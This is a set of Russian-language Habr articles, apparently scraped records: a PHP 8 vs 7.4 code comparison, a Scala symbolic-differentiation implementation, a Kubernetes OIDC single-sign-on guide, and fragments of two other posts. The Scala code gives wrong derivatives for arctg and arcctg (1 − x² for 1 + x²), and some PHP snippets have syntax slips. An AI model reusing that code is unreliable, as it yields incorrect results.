Adobe’s Creative Cloud [теряет тысячи дескрипторов](https://news.ycombinator.com/item?id=16359696) (около 6500 в день, по моим подсчётам). Багрепорт [отправлен](https://twitter.com/BruceDawson0xB/status/964562328388694016).
Razer Chroma SDK Service [теряет ОЧЕНЬ много дескрипторов](https://www.reddit.com/r/programming/comments/7x10z9/zombie_processes_are_eating_your_memory/du54yqa/) ([150 000 в час?](https://twitter.com/abyrd89/status/963149836609511424)). Багрепорт [отправлен](https://twitter.com/BruceDawson0xB/status/964563577368494080).
Удивительно, что никто до этого особо не обращал внимание на подобные баги. Эй, Microsoft, возможно, стоит собирать статистику по таким случаям и что-то предпринимать по этому поводу? Эй, Intel и Nvidia, почистите немного ваш код. Помните, я наблюдаю за вами.
А теперь вы можете взять утилиту [FindZombieHandles](https://github.com/randomascii/blogstuff/tree/master/FindZombieHandles), запустить её на вашей машине и рассказать о своих находках. Также вы можете использовать в экспериментах диспетчер задач и Process Explorer. | https://habr.com/ru/post/349924/ | null | ru | null |
# PHP 8: код «До» и «После» (сравнение с PHP 7.4)
Осталось всего несколько месяцев до выхода PHP 8, и в этой версии действительно есть много хорошего. Под катом расскажем, как эти нововведения уже начали менять подход автора этого материала к написанию кода.
Подписчики событий с атрибутами
-------------------------------
Я постараюсь не злоупотреблять атрибутами, но в случае с настройкой слушателей событий, например, они очень даже кстати.
В последнее время я работал над системами, где такой настройки было очень много. Возьмём пример:
```
class CartsProjector implements Projector
{
use ProjectsEvents;
protected array $handlesEvents = [
CartStartedEvent::class => 'onCartStarted',
CartItemAddedEvent::class => 'onCartItemAdded',
CartItemRemovedEvent::class => 'onCartItemRemoved',
CartExpiredEvent::class => 'onCartExpired',
CartCheckedOutEvent::class => 'onCartCheckedOut',
CouponAddedToCartItemEvent::class => 'onCouponAddedToCartItem',
];
public function onCartStarted(CartStartedEvent $event): void
{ /* … */ }
public function onCartItemAdded(CartItemAddedEvent $event): void
{ /* … */ }
public function onCartItemRemoved(CartItemRemovedEvent $event): void
{ /* … */ }
public function onCartCheckedOut(CartCheckedOutEvent $event): void
{ /* … */ }
public function onCartExpired(CartExpiredEvent $event): void
{ /* … */ }
public function onCouponAddedToCartItem(CouponAddedToCartItemEvent $event): void
{ /* … */ }
}
```
*PHP 7*
У атрибутов в PHP 8 есть два преимущества:
* Код для настройки слушателей событий и обработчиков собран в одном месте, и мне не нужно прокручивать файл до начала, чтобы узнать, правильно ли настроен слушатель.
* Мне больше не нужно беспокоиться о написании и управлении именами методов в виде строк (когда IDE не может их автозаполнить, нет статического анализа опечаток и не работает переименование методов).
```
class CartsProjector implements Projector
{
use ProjectsEvents;
@@SubscribesTo(CartStartedEvent::class)
public function onCartStarted(CartStartedEvent $event): void
{ /* … */ }
@@SubscribesTo(CartItemAddedEvent::class)
public function onCartItemAdded(CartItemAddedEvent $event): void
{ /* … */ }
@@SubscribesTo(CartItemRemovedEvent::class)
public function onCartItemRemoved(CartItemRemovedEvent $event): void
{ /* … */ }
@@SubscribesTo(CartCheckedOutEvent::class)
public function onCartCheckedOut(CartCheckedOutEvent $event): void
{ /* … */ }
@@SubscribesTo(CartExpiredEvent::class)
public function onCartExpired(CartExpiredEvent $event): void
{ /* … */ }
@@SubscribesTo(CouponAddedToCartItemEvent::class)
public function onCouponAddedToCartItem(CouponAddedToCartItemEvent $event): void
{ /* … */ }
}
```
*PHP 8*
Static вместо doc-блоков
------------------------
Это не такое важное изменение, но я сталкиваюсь с этим каждый день. Я часто обнаруживаю, что мне всё ещё нужны doc-блоки, когда нужно указать, что функция имеет возвращаемый тип static.
Если в PHP 7.4 мне нужно было писать:
```
/**
* @return static
*/
public static function new()
{
return new static();
}
```
*PHP 7.4*
То теперь достаточно:
```
public static function new(): static
{
return new static();
}
```
*PHP 8*
DTO, передача свойств и именованных аргументов
----------------------------------------------
Я довольно много писал об использовании системы типов PHP и паттерна DTO ([data transfer objects](https://stitcher.io/blog/laravel-beyond-crud-02-working-with-data)). Естественно, я часто использую DTO в своём собственном коде, поэтому можете представить, насколько я счастлив, что теперь имею возможность переписать это:
```
class CustomerData extends DataTransferObject
{
public string $name;
public string $email;
public int $age;
public static function fromRequest(
CustomerRequest $request
): self {
return new self([
'name' => $request->get('name'),
'email' => $request->get('email'),
'age' => $request->get('age'),
]);
}
}
$data = CustomerData::fromRequest($customerRequest);
```
*PHP 7.4*
Вот, так-то лучше:
```
class CustomerData
{
public function __construct(
public string $name,
public string $email,
public int $age,
) {}
}
$data = new CustomerData(...$customerRequest->validated());
```
*PHP 8*
Обратите внимание на использование передачи свойств конструктора как именованных параметров. Да, их можно передавать с помощью именованных массивов и оператора Spread.
Перечисления и match
--------------------
Вы используете перечисление с некоторыми методами, которые возвращают результат в зависимости от конкретного значения из перечисления?
```
/**
* @method static self PENDING()
* @method static self PAID()
*/
class InvoiceState extends Enum
{
private const PENDING = 'pending';
private const PAID = 'paid';
public function getColour(): string
{
return [
self::PENDING => 'orange',
self::PAID => 'green',
][$this->value] ?? 'gray';
}
}
```
*PHP 7.4*
Я бы сказал, что для более сложных условий вам лучше использовать паттерн Состояние, но есть случаи, когда достаточно перечисления. Этот странный синтаксис массива уже является сокращением для более громоздкого условного выражения:
```
/**
* @method static self PENDING()
* @method static self PAID()
*/
class InvoiceState extends Enum
{
private const PENDING = 'pending';
private const PAID = 'paid';
public function getColour(): string
{
if ($this->value === self::PENDING) {
return 'orange';
}
if ($this->value === self::PAID) {
return 'green'
}
return 'gray';
}
}
```
*PHP 7.4 — альтернативный вариант*
Но в PHP 8 вместо этого мы можем использовать match.
```
/**
* @method static self PENDING()
* @method static self PAID()
*/
class InvoiceState extends Enum
{
private const PENDING = 'pending';
private const PAID = 'paid';
public function getColour(): string
{
return match ($this->value) {
self::PENDING => 'orange',
self::PAID => 'green',
default => 'gray',
};
}
```
*PHP 8*
Объединения вместо doc-блоков
-----------------------------
Это работает аналогично тому, что было описано ранее для возвращаемого типа static.
```
/**
* @param string|int $input
*
* @return string
*/
public function sanitize($input): string;
```
*PHP 7.4*
```
public function sanitize(string|int $input): string;
```
*PHP 8*
Генерация исключений
--------------------
Раньше вы не могли использовать throw в выражении, а это означало, что вам приходилось писать, например, вот такие проверки:
```
public function (array $input): void
{
if (! isset($input['bar'])) {
throw BarIsMissing::new();
}
$bar = $input['bar'];
// …
}
```
*PHP 7.4*
В PHP 8 throw стало выражением, что означает, что вы можете использовать его вот так:
```
public function (array $input): void
{
$bar = $input['bar'] ?? throw BarIsMissing::new();
// …
}
```
*PHP 8*
Оператор nullsafe
-----------------
Если вы знакомы с оператором null coalescing (коалесцирующий), вам известны его недостатки: он не работает с вызовами методов. Поэтому мне часто были нужны промежуточные проверки или подходящие для этой цели функции фреймворков:
```
$startDate = $booking->getStartDate();
$dateAsString = $startDate ? $startDate->asDateTimeString() : null;
```
*PHP 7.4*
С появлением оператора nullsafe я могу решить эту задачу гораздо проще.
```
$dateAsString = $booking->getStartDate()?->asDateTimeString();
```
*PHP 8*
А какие нововведения в PHP 8 считаете важными вы?
---
#### На правах рекламы
[Серверы для разработки](https://vdsina.ru/cloud-servers?partner=habr59) и размещения ваших проектов. Каждый сервер подключён к защищённому от DDoS-атак каналу в 500 Мегабит, есть возможность использовать высокоскоростную локальную сеть. Мы предлагаем большой выбор тарифных планов, смена тарифа в один клик. Очень [удобная панель управления](https://habr.com/ru/company/vdsina/blog/460107/) серверами и возможность использовать API. Поспешите проверить!
[](https://vdsina.ru/cloud-servers?partner=habr59) | https://habr.com/ru/post/514512/ | null | ru | null |
# Аналитическое вычисление производной функции на языке Scala
Введение
--------
Данный алгоритм реализован на языке Scala, характерной особенностью которого является использование *case-классов*, так удачно подходящих для написания алгоритма дифференцирования. В этой статье планируется описать лишь часть программы, содержащей алгоритм нахождения производной, поскольку разработка парсера для математических выражений это другая большая тема,
заслуживающая отдельной статьи
Подготовка
----------
Сначала опишем структуру данных, в которой будет храниться исходная математическая функция. Опишем трейт ***MathAST***:
```
sealed trait MathAST
```
И его наследников:
```
sealed trait SingleToken extends MathAST{
val a: MathAST
}
sealed trait DoubleToken extends MathAST{
val a: MathAST
val b: MathAST
}
sealed trait LeafToken extends MathAST
```
***SingleToken*** будет реализовывать case-классы унарных операторов, таких как sin(a), -a, ln(a) и т.д.
***DoubleToken*** описывает бинарные операторы: a+b, a^b и т.д.
***LeafToken*** — «листья» дерева, т.е. константы, переменные и зарезервированные имена констант (число Пи и экспонента).
Опишем классы/объекты операторов и токенов:
```
case object Pi extends LeafToken
case object Exponenta extends LeafToken
case class Sin(override val a: MathAST) extends SingleToken
case class Cos(override val a: MathAST) extends SingleToken
…
case class Mul(override val a: MathAST, override val b: MathAST) extends DoubleToken
case class Add(override val a: MathAST, override val b: MathAST) extends DoubleToken
…
case class Differentiate(f: MathAST, dx: Variable) extends MathAST
case class Variable(name: String) extends LeafToken
case class Constant(value: BigDecimal) extends LeafToken
```
Обратите внимание на класс ***Differentiate***, он имеет особую сигнатуру: **f** – исходная функция, **dx** – переменная, по которой происходит дифференцирование.
Теперь есть все, чтобы представить математическую функцию в виде дерева вычислений, для примера возьмем функцию: , которая примет вид:
**Mul(Constant(BigDecimal(2)), Pow(x, Constant(BigDecimal(2)))**
Конечно, чтобы получить дерево-выражение из обычной строки, введенной пользователем, нужно написать парсер, но, как было упомянуто выше, это уже другая тема. Скажу лишь что в программе используется самодельный парсер, наследующий трейт ***Parsers*** из пакета **scala.util.parsing.combinator**.
Алгоритм нахождения производной
-------------------------------
В основе которого лежат [правила дифференцирования и таблица производных](http://math-deque.rhcloud.com/articles/index/article_id/tablica_proizvodnih).
Опишем рекурсивную функцию, которая и будет преобразовывать исходную математическую функцию в результирующую функцию-производную:
```
def differentiate(f: MathAST)(implicit dx: String): MathAST
```
Аргумент dx, содержащий имя переменной (по которой происходит дифференцирование) помечен как неявный (*implicit*), это позволит не передавать ее в рекурсивные вызовы, пусть этим занимается компилятор.
На вход рекурсивной функции подается выражение — исходная функция **f(x)** (в формате ***MathAST***), возвращаемое значение — функция-производная [](https://www.codecogs.com/eqnedit.php?latex=\frac{\mathrm{d}&space;f(x)}{\mathrm{d}&space;x}) в том же формате.
***Примечание 1***: Выражение может быть бинарным, унарным или токеном.
***Примечание 2***: Оператором может быть один из: «+», «-», «^», «\*», «/», «abs», «sin», «cos», «tg», «ctg», «ln», «arcsin», «arccos», «arctg», «arcctg», «(», «)».
***Примечание 3***: Входные и выходные данные представлены в формате MathAST — дерево-выражение.
### Общий алгоритм
В общем виде алгоритм слишком абстрактный, поэтому дальше разберем его подробнее.
1. Рекурсивная функция получает на вход данные и используя сопоставление с образцом (*pattern-matching*) выполняет необходимые действия, в зависимости от типа данных.
2. Функция высчитывает производную для входного выражения и возвращает выражение-результат. Может получиться, что аргументы **a** и/или **b** оказались не константой и не переменной, а сложной функцией **u(x)**,
тогда понадобится рекурсивно посчитать еще и производную **u’(x)**, т.е. вернуть **[ differentiate(u(x)) ]** — перейти к шагу 1 с новыми данными — **u(x)**.
3. Если данные не корректны вернуть сообщение об ошибке.
### Детали принципа работы и связь с математическими абстракциями
Функция приняла на вход данные — выражение-функцию, которую следует обработать в соответствии с правилами дифференцирования
#### Если бинарное выражение
Бинарные выражения помечены трейтом ***DoubleToken***. Оператор проверяется на соответствие одному из доступных операторов («+», «-», «\*», «/», «^»):
```
case Add(a, b) => Add(differentiate(a), differentiate(b))
case Sub(a, b) => Sub(differentiate(a), differentiate(b))
…
```
1. Если оператор «+»: вернуть **[ differentiate(a) + differentiate(b) ]**.
2. Если оператор «-»: вернуть **[ differentiate(a) — differentiate(b) ]**.
3. Если оператор «\*»: Умножение представляет из себя более сложный случай, операнды **a** и **b** могут быть константами или переменными (всего 4 комбинации: **u(x)\*c**, **u(x)\*v(x)**, **c\*c**, **c\*u(x)**).
Функция анализирует какой из 4 вариантов попался и возвращает выражение используя правило дифференцирования № 1, № 3, и №5,
если один из операндов – сложная функция. Например: если **a = u(x)**, а **b = v(x)**, то вернуть **[ differentiate(a) \* b + a \* differentiate(b)) ]**.
Приватный метод ***isDependsOnVar*** проверяет, зависит ли подвыражение от переменной, по которой производится дифференцирование.
4. Если оператор «/»: Действия аналогичны, как и с оператором «\*».
5. Если оператор возведения в степень «^»: Здесь имеется так же 4 варианта выражений: **u(x)^c**, **u(x)^v(x)**, **c^c**, **c^u(x)**.
Третий случай самый нетривиальный: **u(x)^v(x)**, чтобы найти производную от такого выражения нужно использовать логарифм и его свойства (описание процедуры логарифмирования выходит за рамки этой статьи, поэтому сразу приведем готовую формулу – № 6).
В остальных трех случаях используются стандартные табличные формулы.
В качестве примера приведем обработку операции умножения:
```
case Mul(a, b) => {
val u = isDependsOnVar(a)
val v = isDependsOnVar(b)
if (u && !v) {
Mul(differentiate(a), b)
} else if (!u && v){ // c^u(x), c=const
Mul(a, differentiate(b))
}else if (!u && !v){ // c^c, c=const
Constant(BigDecimal(0))
}else Add(Mul(differentiate(a), b), Mul(a, differentiate(b)))
}
```
#### Если унарное выражение
Классы SingleToken обрабатываются следующим образом:
```
case e: SingleToken =>
val d = e match {
case Sin(x) => Cos(x)
case Cos(x) => Usub(Sin(x))
case Tg(x) => Div(Constant(BigDecimal(1)), Pow(Cos(x), Constant(BigDecimal(2))))
…
}
if (isLeaf(e.a)) d else Mul(d, differentiate(e.a))
```
Оператор проверяется на соответствие одному из доступных операторов («sin», «-», «cos», …)
Для примера, оператор «sin»: вернуть **[ cos(a) ]**, если **a = x**, если же **a** — сложная функция **u(x)**, то вернуть **[ cos(a) \* differentiate(a) ]**.
С остальными операторами происходят аналогичные действия, используя правило дифференцирования сложной функции и табличные правила взятия производной.
Отдельно следует рассмотреть оператор **abs** — модуль, поскольку его нет в таблице.
Приватный метод ***isLeaf*** выясняет сложная функция или нет, в первом случае нужно вернуть текущий результат умноженный на производную вложенной функции, а во втором просто вернуть текущий результат.
#### Если один токен
Речь идет о переменной или константе
```
case Variable(a) => if (a == dx) Constant(BigDecimal(1)) else Constant(BigDecimal(0))
case Constant(a) => Constant(BigDecimal(0))
case Pi | Exponenta => Constant(BigDecimal(0))
case _ => throw new AbstractEvaluateException("Differentiate: Wrong input data")
```
1. Введены некорректные данные, вывести сообщение об ошибке и завершить работу.
2. Если переменная (по которой осуществляется дифференцирование, например **x**), вернуть **[ 1 ]**.
3. Если константа, вернуть **[ 0 ]**.
Напоследок добавим строку:
```
case Differentiate(_f, _dx) => differentiate(_f)(_dx.name)
```
Это на случай, если внутри функции есть вложенная производная, т.е. теперь можно считать производные высших порядков.
Приведу весь код дифференцирования, для лучшего понимания:
```
object Derivative {
def apply(e: MathAST)(implicit dx: String): MathAST = differentiate(e)
def differentiate(f: MathAST)(implicit dx: String): MathAST = f match {
case Differentiate(_f, _dx) => differentiate(_f)(_dx.name)
case Add(a, b) => Add(differentiate(a), differentiate(b))
case Sub(a, b) => Sub(differentiate(a), differentiate(b))
case Div(a, b) => Div(Sub(Mul(differentiate(a), b), Mul(a, differentiate(b))), Pow(b, Constant(BigDecimal(2))))
case Pow(a, b) => {
val u = isDependsOnVar(a)
val v = isDependsOnVar(b)
if (u && !v) Mul(Mul(Pow(a, Sub(b, Constant(BigDecimal(1)))), differentiate(a)), b) // u(x)^c, c=const
else if (!u && v){ // c^u(x), c=const
Mul(Mul(Pow(a, b), differentiate(b)), Ln(a))
}else if(!u && !v){
Constant(BigDecimal(0))
}else Mul(Pow(a, Sub(b, Constant(BigDecimal(1)))), Add(Mul(b, differentiate(a)), Mul(Mul(a, Ln(a)), differentiate(b))))
}
case Mul(a, b) => {
val u = isDependsOnVar(a)
val v = isDependsOnVar(b)
if (u && !v) {
Mul(differentiate(a), b)
} else if (!u && v){ // c^u(x), c=const
Mul(a, differentiate(b))
}else if (!u && !v){// c^c, c=const
Constant(BigDecimal(0))
}else Add(Mul(differentiate(a), b), Mul(a, differentiate(b)))
}
case e: SingleToken =>
val d = e match {
case Sin(x) => Cos(x)
case Cos(x) => Usub(Sin(x))
case Tg(x) => Div(Constant(BigDecimal(1)), Pow(Cos(x), Constant(BigDecimal(2))))
case Ctg(x) => Usub(Div(Constant(BigDecimal(1)), Pow(Sin(x), Constant(BigDecimal(2)))))
case Abs(x) => Div(x, Abs(x))
case Ln(x) => Div(Constant(BigDecimal(1)), x)
case Sqrt(x) => Div(Constant(BigDecimal(1)), Mul(Constant(BigDecimal(2)), Sqrt(x)))
case Usub(x) => Usub(differentiate(x))
case Arcsin(x) => Div(Constant(BigDecimal(1)), Sqrt(Sub(Constant(BigDecimal(1)), Pow(x, Constant(BigDecimal(2))))))
case Arccos(x) => Usub(Div(Constant(BigDecimal(1)), Sqrt(Sub(Constant(BigDecimal(1)), Pow(x, Constant(BigDecimal(2)))))))
case Arctg(x) => Div(Constant(BigDecimal(1)), Sub(Constant(BigDecimal(1)), Pow(x, Constant(BigDecimal(2)))))
case Arcctg(x) => Usub(Div(Constant(BigDecimal(1)), Sub(Constant(BigDecimal(1)), Pow(x, Constant(BigDecimal(2))))))
case _ => throw new AbstractEvaluateException("Differentiate: Unknown unary operator")
}
if (isLeaf(e.a)) d else Mul(d, differentiate(e.a))
case Variable(a) => if (a == dx) Constant(BigDecimal(1)) else Constant(BigDecimal(0))
case Constant(a) => Constant(BigDecimal(0))
case Pi | Exponenta => Constant(BigDecimal(0))
case _ => throw new AbstractEvaluateException("Differentiate: Wrong input data")
}
private def isLeaf(e: MathAST): Boolean = e match {
case Variable(_) | Constant(_) => true
case Pi | Exponenta => true
case _ => false
}
private def isDependsOnVar(tree: MathAST)(implicit dx: String): Boolean = tree match{
case e: DoubleToken => (e.a match {
case Variable(name) => if(name == dx) true else false
case _ => isDependsOnVar(e.a)
})||(e.b match {
case Variable(name) => if(name == dx) true else false
case _ => isDependsOnVar(e.b)
})
case e: SingleToken => isDependsOnVar(e.a)
case Variable(name) => if(name == dx) true else false
case _ => false
}
}
```
Заключение
----------
Весь код исходников можно скачать на [github'е](https://github.com/mathsatan/MathServiceScala), протестировать программу онлайн можно на сайте [Калькулятор производных онлайн](http://math-deque.rhcloud.com/calc), приложение выполнено в виде REST сервиса и дополнено модулями упрощения выражений.
### Список литературы
* Математический портал «mathprofi.ru» [mathprofi.ru/slozhnye\_proizvodnye\_logarifmicheskaja\_proizvodnaja.html](http://mathprofi.ru/slozhnye_proizvodnye_logarifmicheskaja_proizvodnaja.html)
* Odersky M. «Programming in Scala (second edition)»
* Хостманн К. «Scala для нетерпеливых» | https://habr.com/ru/post/309676/ | null | ru | null |
# Разбираем в деталях: Технология единого входа (SSO) в Kubernetes с использованием OpenID Connection через G Suite
В настоящее время Kubernetes де-факто является стандартом для оркестрации контейнеров, и лично я использую Kubernetes в production уже более двух лет.
Будучи DevOps инженерами, мы тесно сотрудничаем с разработчиками и используем одни и те же инструменты такие, как: CI-CD, VCS, laC, мониторинг, логирование, оркестрацию контейнеров и т.д. Kubernetes также является одним из таких инструментов, который тоже используется во время разработки, развёртывания и отладки, устранения неполадок и мониторинга приложений. Как все знают, это требование DevOps культуры.
Именно поэтому работая в команде, есть необходимость создавать токены, логины и пароли, настраивать конфигурации или делиться текущими настройками для доступа к необходимым кластерам. Но как только вы поделитесь с ними всеми необходимыми данными, вероятнее всего, вы потеряете контроль над данными и это может критическим образом повлиять на систему безопасности, даже если ваши кластеры работают в частной сети или VPN.
Сейчас я покажу как избежать этой проблемы, используя метод аутентификации **OpenID Connect** (OIDC) и кластеры Kubernetes вместе, используя этот гайд.
Обратите внимание на порядок действий:
1. Установка **KOPS** кластера
2. Настройка **G Suite** в качестве поставщика **OIDC**
3. Настройка **Kubernetes API** сервера
4. **Настройка** прав в кластере
5. Настройка **kubeconfig**
6. Настройка **kubelogin**
7. **Проверка** доступа к кластеру
8. Процессы **On-boarding** и **Off-boarding**
### 1. Установка KOPS кластера
KOPS (**K**ubernetes **Op**eration**s**) помогает создавать, удалять, обновлять и обеспечивать поддержку производительности кластера Kubernetes с высокой доступностью из командной строки.
### Создание KOPS кластера
Установку KOPS можно выполнить с помощью этого [гайда](https://github.com/kubernetes/kops/blob/master/docs/getting_started/aws.md). Ниже попробуем разобраться в основных шагах.
1 — **Зарегистрируйте домен:** Если у вас уже есть доменное имя, то используйте его. Если нет — то зарегистрируйте.
2 — **Зайдите в учетную запись AWS:** Если у вас уже есть учетная запись AWS, можете использовать её или создать бесплатный аккаунт.
3 — **Создайте пользователя AWS IAM user:**создайте пользователя с именем **kops-admin**, используя этот [гайд](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users_create.html#id_users_create_console), после чего дайте ему права доступа администратора — **AdministratorAccess**, используя этот [гайд](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users_change-permissions.html#users_change_permissions-add-console).
4 — **Установите и настройте aws-cli** на локальном устройстве, используя этот [гайд](https://docs.aws.amazon.com/cli/latest/userguide/install-cliv2.html).
5 — **Создайте подзону DNS zone на Route53:** Для создания KOPS кластера нам понадобится домен верхнего уровня или поддомен. Пока что воспользуемся поддоменом. Чтобы создать такой поддомен, используйте этот [гайд](https://docs.aws.amazon.com/Route53/latest/DeveloperGuide/CreatingHostedZone.html) по AWS.
После создания поддомена на стороне регистратора нужно указать NS записи сервера имен (NS).
6 — **Чтобы создать хранилище S3 для KOPS**, используйте этот [гайд](https://docs.aws.amazon.com/AmazonS3/latest/gsg/CreatingABucket.html).
7 — **Установите KOPS клиент и kubectl** на вашем устройстве по этому [гайду](https://github.com/kubernetes/kops/blob/master/docs/install.md).
8 — **Установите KOPS кластер Kubernetes**, используя следующие команды:
```
kops create cluster dev.automateops.co.uk \
--node-count 1 \
--zones us-west-2a \
--node-size t2.medium \
--master-size t2.medium \
--master-zones us-west-2a,us-west-2b,us-west-2c \
--networking calico \
--topology private \
--bastion="true" \
--state=s3://dev.autotameops.co.uk-state-store \
--kubernetes-version=1.14.6 --yes
```
### 2. Настройка поставщика OIDC
OpenID Connect — это простой уровень идентификации поверх протокола OAuth 2.0. Он позволяет клиенту проверить личность конечного пользователя на основе процесса аутентификации, выполняемой сервером авторизации, а также получать базовую информацию о конечном пользователе с возможностью взаимодействия, в том числе и при помощи REST запросов.
### Идентификационная платформа Google
Мы будем использовать Google в качестве идентификационной платформы. Откройте **Google Cloud Platform** [здесь](https://console.developers.google.com/) и войдите в систему. После чего выберите опцию *Create a new project*, чтобы открыть такое окно:
После создания проекта нажмите **ENABLE APIS AND SERVICES**, чтобы включить **Admin API**.
Найдите и выберите "Admin SDK", а затем включите его.
Итак, мы создали новый проект и включили API. Теперь нам нужно настроить GSuite как OpenID Connector.
Перед тем, как пользователи пройдут аутентификацию, всплывающее окно предоставит выбор, хотят ли они разрешить доступ к личной информации и предоставить им ссылку на условия предоставления услуг и политику конфиденциальности.
Давайте настроим такое окно, кликнув **APls & Services** > **OAuth**
Если вы хотите аутентифицировать своих пользователей с нескольких различных доменных имен, выберите тип приложения **Public**. А пока продолжим работу с типом приложения **Internal**.
Чтобы обезопасить свой(-и) кластер(ы) kubernetes, необходимо добавить свое(-и) доменные имена/имя в список **Authorised domains**. Здесь можно добавить сразу несколько доменных имен. Давайте добавим **automateops.co.uk** и кликнем **Сохранить**.
После нажатия кнопки сохранения вы увидите следующий экран. Далее, для того, чтобы открыть доступ к APIs, из меню *Create credentials* выбираем **OAuth client ID**.
Выберите тип приложения **Other**, задайте название и кликните **Создать**.
### 3. Настройка Kubernetes API сервера
> *Пользователи могут получить доступ к API, используя `kubectl`, клиентские библиотеки или путем выполнения REST запросов. Для доступа к API могут быть авторизованы как реальные пользователи, так и сервисные аккаунты Kubernetes. Когда запрос поступает в API, он проходит несколько этапов, показанных на следующей диаграмме:*
> *После того, как TLS установлен, HTTP-запрос переходит к этапу аутентификации. Этот процесс отображен на диаграмме в шаге **1**.*
>
>
>
> *Если запрос не может быть аутентифицирован, он отклонится с HTTP кодом 401. Но при положительном сценарии пользователь будет аутентифицирован под специальным `именем` и под этим именем можно будет проходить дальнейшие шаги. Некоторые аутентификаторы также могут предоставить пользователю членство в группах, но не все.*
>
>
>
> *Хотя Kubernetes и использует `имена пользователя` для принятия решения касаемо его авторизации, он не хранит информацию о `пользователе`, его имена или другую информацию в хранилище объектов.*
После краткого обзора Kubernetes API сервера, давайте настроим kube-apiserver.
Мы уже установили кластер Kubernetes через KOPS, но перед настройкой kube-api, нам необходимо задать учетные данные OAuth. Найти информацию о **oidclssuerURL** можно на облачной платформе **Google Cloud Platform**. Как показано на следующем изображении, нажмите **Credentials** в меню слева и выберите **OIDC CLIENT ID** из списка, который мы только что создали.
Выполните команду `kops edit cluster` и добавьте следующие параметры.
```
spec:
kubeAPIServer:
oidcIssuerURL: https://accounts.google.com
oidcClientID: YOUR_CLIENT_ID
oidcUsernameClaim: email
```
Сохраните и выполните следующие команды, чтобы применить изменения в кластере.
```
export KOPS_STATE_STORE="s3://dev.automatesops.co.uk-state-store"
```
```
kops update cluster --yes
kops rolling-update cluster --yes
```
**P.S:** После успешного завершения rolling-update процесса, вы увидите флаги **oidc** в подах **kube-apiserver**.
```
**kubectl describe** pod -n kube-system **kube-apiserver**-..compute.internal
--oidc-client-id=YOUR\_CLIENT\_ID
--oidc-issuer-url=https://accounts.google.com
--oidc-username-claim=email
```
### 4. Настройка прав в кластере
Как уже упоминалось ранее, в шаге 3, нам необходимо задать роли RBAC для авторизации. Для получения более подробной информации о правах RBAC вы можете перейти [сюда](https://kubernetes.io/docs/reference/access-authn-authz/rbac/).
Лично я использую **[RBAC-Manager](https://github.com/FairwindsOps/rbac-manager)** для управления правами Kubernetes кластера. Установка RBAC-Manager очень проста:
```
kubectl apply -f https://raw.githubusercontent.com/FairwindsOps/rbac-manager/master/deploy/all.yaml
```
После установки **RBAC-Manager** мы создадим 3 группы для разрешений пользователей:
* cluster-admins
* web-developers
* api-developers
```
apiVersion: rbacmanager.reactiveops.io/v1beta1
kind: RBACDefinition
metadata:
name: rbac-manager-users
rbacBindings:
- name: cluster-admins
subjects:
- kind: User
name: halid@automateops.co.uk
- kind: User
name: manesh@automateops.co.uk
clusterRoleBindings:
- clusterRole: cluster-admin
- name: web-developers
subjects:
- kind: User
name: sarah@automateops.co.uk
- kind: User
name: oliver@automateops.co.uk
roleBindings:
- clusterRole: edit
namespace: web
- clusterRole: view
namespace: api
- name: api-developers
subjects:
- kind: User
name: daniel@automateops.co.uk
- kind: User
name: sophia@automateops.co.uk
roleBindings:
- clusterRole: edit
namespace: api
- clusterRole: view
namespace: web
```
```
kubectl apply -f permissions.yaml
```
### 5. Настройка kubeconfig
У вас уже есть файл kuberconfig в разделе *~/.kube/config*
Добавьте следующую информацию в kubeconfig:
```
users:
- name: google
user:
exec:
apiVersion: client.authentication.k8s.io/v1beta1
args:
- oidc-login
- get-token
- --oidc-issuer-url=https://accounts.google.com
- --oidc-client-id=YOUR_CLIENT_ID
- --oidc-client-secret=YOUR_CLIENT_SECRET
- --oidc-extra-scope=email
- --oidc-extra-scope=profile
command: kubectl
```
Ваш kubeconfig должен выглядеть так:
```
apiVersion: v1
clusters:
- cluster:
certificate-authority-data:
server: https://api.dev.automateops.co.uk
name: dev.automateops.co.uk
contexts:
- context:
cluster: dev.automateops.co.uk
user: google
name: dev.automateops.co.uk
current-context: dev.automateops.co.uk
kind: Config
preferences: {}
users:
- name: google
user:
exec:
apiVersion: client.authentication.k8s.io/v1beta1
args:
- oidc-login
- get-token
- --oidc-issuer-url=https://accounts.google.com
- --oidc-client-id=YOUR\_CLIENT\_ID
- --oidc-client-secret=YOUR\_CLIENT\_SECRET
- --oidc-extra-scope=email
- --oidc-extra-scope=profile
command: kubectl
```
Вы можете поделиться файлом kubeconfig для On-boarding.
### 6. Настройка kubelogin
*У Kubernetes нет **веб-интерфейса** для запуска процесса аутентификации. Здесь **нет браузера** или интерфейса для сбора учетных данных, поэтому вам необходимо сначала пройти аутентификацию в системе управления доступами.*
Вот почему нам нужно установить плагин **kubectl**. Когда вы запускаете kubectl, **kubelogin** открывает браузер, и вы можете зайти в систему управления доступами. Затем kubelogin получает токен от этой системы и kubectl получает доступ к Kubernetes APIs с помощью этого токена.
Вы можете установить kubelogin, как показано ниже. Для получения более подробной информации нажмите [здесь](https://github.com/int128/kubelogin#setup).
```
# Homebrew
brew install int128/kubelogin/kubelogin
# Krew
kubectl krew install oidc-login
# GitHub Releases
curl -LO https://github.com/int128/kubelogin/releases/download/v1.15.0/kubelogin_linux_amd64.zip
unzip kubelogin_linux_amd64.zip
ln -s kubelogin kubectl-oidc_login
```
### 7. Проверка доступа к кластеру
При запуске команды `kubectl` с теми или иными аргументами страница входа **Google** sign-in **откроется** автоматически. Если у вас есть права на кластер, которые мы задали в шаге 3, вы получите доступ к ресурсам сразу после входа в систему, как показано ниже.
```
kubectl get nodes
Open http://localhost:8000 for authentication
NAME STATUS ROLES AGE VERSION
ip-172-20-1-1.us-west-2.compute.internal Ready node 122m v1.14.6
ip-172-20-1-2.us-west-2.compute.internal Ready node 123m v1.14.6
```
### 8. Процессы On-boarding и Off-boarding
В разных отделах компаний постоянно происходит смена сотрудников (люди увольняются или же меняют подразделения, приходят новые), именно поэтому необходимо каждый раз обновлять права доступа кластеров при on-boarding и off-boarding процессах.
**On-boarding:** Когда появляется новый сотрудник, например, в команде разработки, вы можете просто поделиться kuberconfig, который мы уже подготовили на 5-ом шаге.
**Off-boarding:** Но когда сотрудник покидает компанию, вам необходимо обновить конфигурацию RBAC в Kubernetes кластерах, которую мы уже настроили в шаге 4.
### В заключении
Подводя итог, если вы ищете технологию единого входа SSO для Kubernetes, OpenID Connector будет наилучшей альтернативой.
И главное — безопасность!) | https://habr.com/ru/post/565170/ | null | ru | null |
# MOXA Nport — взгляд изнутри
